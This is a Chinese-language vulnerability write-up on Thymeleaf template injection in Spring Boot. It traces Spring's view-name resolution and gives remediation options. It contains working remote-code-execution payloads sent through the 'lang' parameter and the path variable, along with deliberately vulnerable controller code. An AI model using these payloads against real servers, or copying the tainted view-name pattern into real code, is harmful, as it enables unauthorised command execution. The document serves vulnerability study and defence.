Spring Boot Thymeleaf 模板注入

Spring Boot Thymeleaf 模板注入
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一、漏洞简介
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Thymeleaf是用于Web和独立环境的现代服务器端Java模板引擎。类似与python
web开发中的jinja模板引擎。顺便说一句,Thymeleaf是spring boot的推荐引擎

二、漏洞影响
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三、复现过程
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### 0x01 基础知识

Spring Boot 本身就 Spring MVC 的简化版本。是在 Spring MVC
的基础上实现了自动配置,简化了开发人员开发过程。Spring MVC 是通过一个叫
DispatcherServlet 前端控制器的来拦截请求的。而在 Spring Boot 中
使用自动配置把 DispatcherServlet 前端控制器自动配置到框架中。

例如,我们来解析 /users 这个请求

![1.pngimg](/static/yougar/Web安全/Spring Boot/resource/SpringBootThymeleaf模板注入/media/rId25.png)

1. DispatcherServlet 前端控制器拦截请求 /users

2. servlet 决定使用哪个 handler 处理

3. Spring 检测哪个控制器匹配 /users,Spring 从 \@RquestMapping
中查找出需要的信息

4. Spring 找到正确的 Controller 方法后,开始执行 Controller 方法

5. 返回 users 对象列表

6. 根据与客户端交互需要返回 Json 或者 Xml 格式

### spring boot 相关注解

– \@Controller 处理 Http 请求
– \@RestController \@Controller 的衍生注解
– \@RequestMapping 路由请求 可以设置各种操作方法
– \@GetMapping GET 方法的路由
– \@PostMapping POST 方法的路由
– \@PutMapping PUT 方法的路由
– \@DeleteMapping DELETE 方法的路由
– \@PathVariable 处理请求 url 路径中的参数 /user/{id}
– \@RequestParam 处理问号后面的参数
– \@RequestBody 请求参数以json格式提交
– \@ResponseBody 返回 json 格式

### Controller注解

\@Controller 一般应用在有返回界面的应用场景下.例如,管理后台使用了
thymeleaf 作为模板开发,需要从后台直接返回 Model
对象到前台,那么这时候就需要使用 \@Controller 来注解。

### RequestMapping注解

用来将一个controller添加至路由中

0x02 环境配置
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> https://github.com/veracode-research/spring-view-manipulation/

我们以spring boot + Thymeleaf模板创建一个带有漏洞的项目。核心代码如下

@GetMapping(“/path”)
public String path(@RequestParam String lang) {
return lang ; //template path is tainted
}

代码含义如下:用户请求的url为path,参数名称为lang,则服务器通过Thymeleaf模板,去查找相关的模板文件。

例如,用户通过get请求`/path?lang=en`,则服务器去自动拼接待查找的模板文件名,为`resources/templates/en.html`,并返回给用户的浏览器。

上面的代码存在两个问题:

1. 是不是存在任意文件读取?
2. 是不是存在诸如模板注入的漏洞???

0x03 模板注入分析
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spring boot如何查找controller这块我们不分析,因为对于我们不重要。

spring
boot在`org.springframework.web.servlet.ModelAndView`方法中,开始处理用户的请求

/**
* This implementation expects the handler to be an {@link HandlerMethod}.
*/
@Override
@Nullable
public final ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler)
throws Exception {

return handleInternal(request, response, (HandlerMethod) handler);
}

随后在`org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod#invokeAndHandle`方法中,通过invokeForRequest函数,根据用户提供的url,调用相关的controller,并将其返回值,作为待查找的模板文件名,通过Thymeleaf模板引擎去查找,并返回给用户

/**
* Invoke the method and handle the return value through one of the
* configured {@link HandlerMethodReturnValueHandler HandlerMethodReturnValueHandlers}.
* @param webRequest the current request
* @param mavContainer the ModelAndViewContainer for this request
* @param providedArgs “given” arguments matched by type (not resolved)
*/
public void invokeAndHandle(ServletWebRequest webRequest, ModelAndViewContainer mavContainer,
Object… providedArgs) throws Exception {

Object returnValue = invokeForRequest(webRequest, mavContainer, providedArgs);
setResponseStatus(webRequest);

if (returnValue == null) {
if (isRequestNotModified(webRequest) || getResponseStatus() != null || mavContainer.isRequestHandled()) {
disableContentCachingIfNecessary(webRequest);
mavContainer.setRequestHandled(true);
return;
}
}
else if (StringUtils.hasText(getResponseStatusReason())) {
mavContainer.setRequestHandled(true);
return;
}

mavContainer.setRequestHandled(false);
try {
this.returnValueHandlers.handleReturnValue(
returnValue, getReturnValueType(returnValue), mavContainer, webRequest);
}
}

在函数中,调用`this.returnValueHandlers.handleReturnValue`去处理返回结果。最终在`org.springframework.web.servlet.mvc.method.annotation.ViewNameMethodReturnValueHandler#handleReturnValue`方法中,将controller返回值作为视图名称。代码如下

@Override
public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType,
ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {

if (returnValue instanceof CharSequence) {
String viewName = returnValue.toString();
mavContainer.setViewName(viewName);
if (isRedirectViewName(viewName)) {
mavContainer.setRedirectModelScenario(true);
}
}

spring
boot最终在`org.springframework.web.servlet.DispatcherServlet#processDispatchResult`方法中,调用Thymeleaf模板引擎的表达式解析。将上一步设置的视图名称为解析为模板名称,并加载模板,返回给用户。核心代码如下`org.thymeleaf.standard.expression.IStandardExpressionParser#parseExpression`

final String viewTemplateName = getTemplateName();
final ISpringTemplateEngine viewTemplateEngine = getTemplateEngine();

final IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration);

final FragmentExpression fragmentExpression;
try {
// By parsing it as a standard expression, we might profit from the expression cache
fragmentExpression = (FragmentExpression) parser.parseExpression(context, “~{” + viewTemplateName + “}”);
} catch (final TemplateProcessingException e) {
throw new IllegalArgumentException(“Invalid template name specification: ‘” + viewTemplateName + “‘”);
}

0x04 不安全的java代码
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#### 第一种:

@GetMapping(“/path”)
public String path(@RequestParam String lang) {
return lang ; //template path is tainted
}

在查找模板中,引用了用户输入的内容

payload

GET /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x HTTP/1.1
Host: www.0-sec.org:8090
Connection: close

![2.pngimg](/static/yougar/Web安全/Spring Boot/resource/SpringBootThymeleaf模板注入/media/rId33.png)

#### 第二种

根据spring
boot定义,如果controller无返回值,则以GetMapping的路由为视图名称。当然,对于每个http请求来讲,其实就是将请求的url作为视图名称,调用模板引擎去解析。

> https://docs.spring.io/spring/docs/current/spring-framework-reference/web.html\#mvc-ann-return-types

在这种情况下,我们只要可以控制请求的controller的参数,一样可以造成RCE漏洞。例如我们可以控制document参数

@GetMapping(“/doc/{document}”)
public void getDocument(@PathVariable String document) {
log.info(“Retrieving ” + document);
}
GET /doc/__${T(java.lang.Runtime).getRuntime().exec(“touch executed”)}__::.x

0x05 修复方案
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### 1. 设置ResponseBody注解

如果设置`ResponseBody`,则不再调用模板解析

### 2. 设置redirect重定向

@GetMapping(“/safe/redirect”)
public String redirect(@RequestParam String url) {
return “redirect:” + url; //CWE-601, as we can control the hostname in redirect

根据spring
boot定义,如果名称以`redirect:`开头,则不再调用`ThymeleafView`解析,调用`RedirectView`去解析`controller`的返回值

### 3. response

@GetMapping(“/safe/doc/{document}”)
public void getDocument(@PathVariable String document, HttpServletResponse response) {
log.info(“Retrieving ” + document); //FP
}

由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP
Response,因此不会发生视图名称解析

参考链接
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> https://www.cnblogs.com/potatsoSec/p/13620019.html

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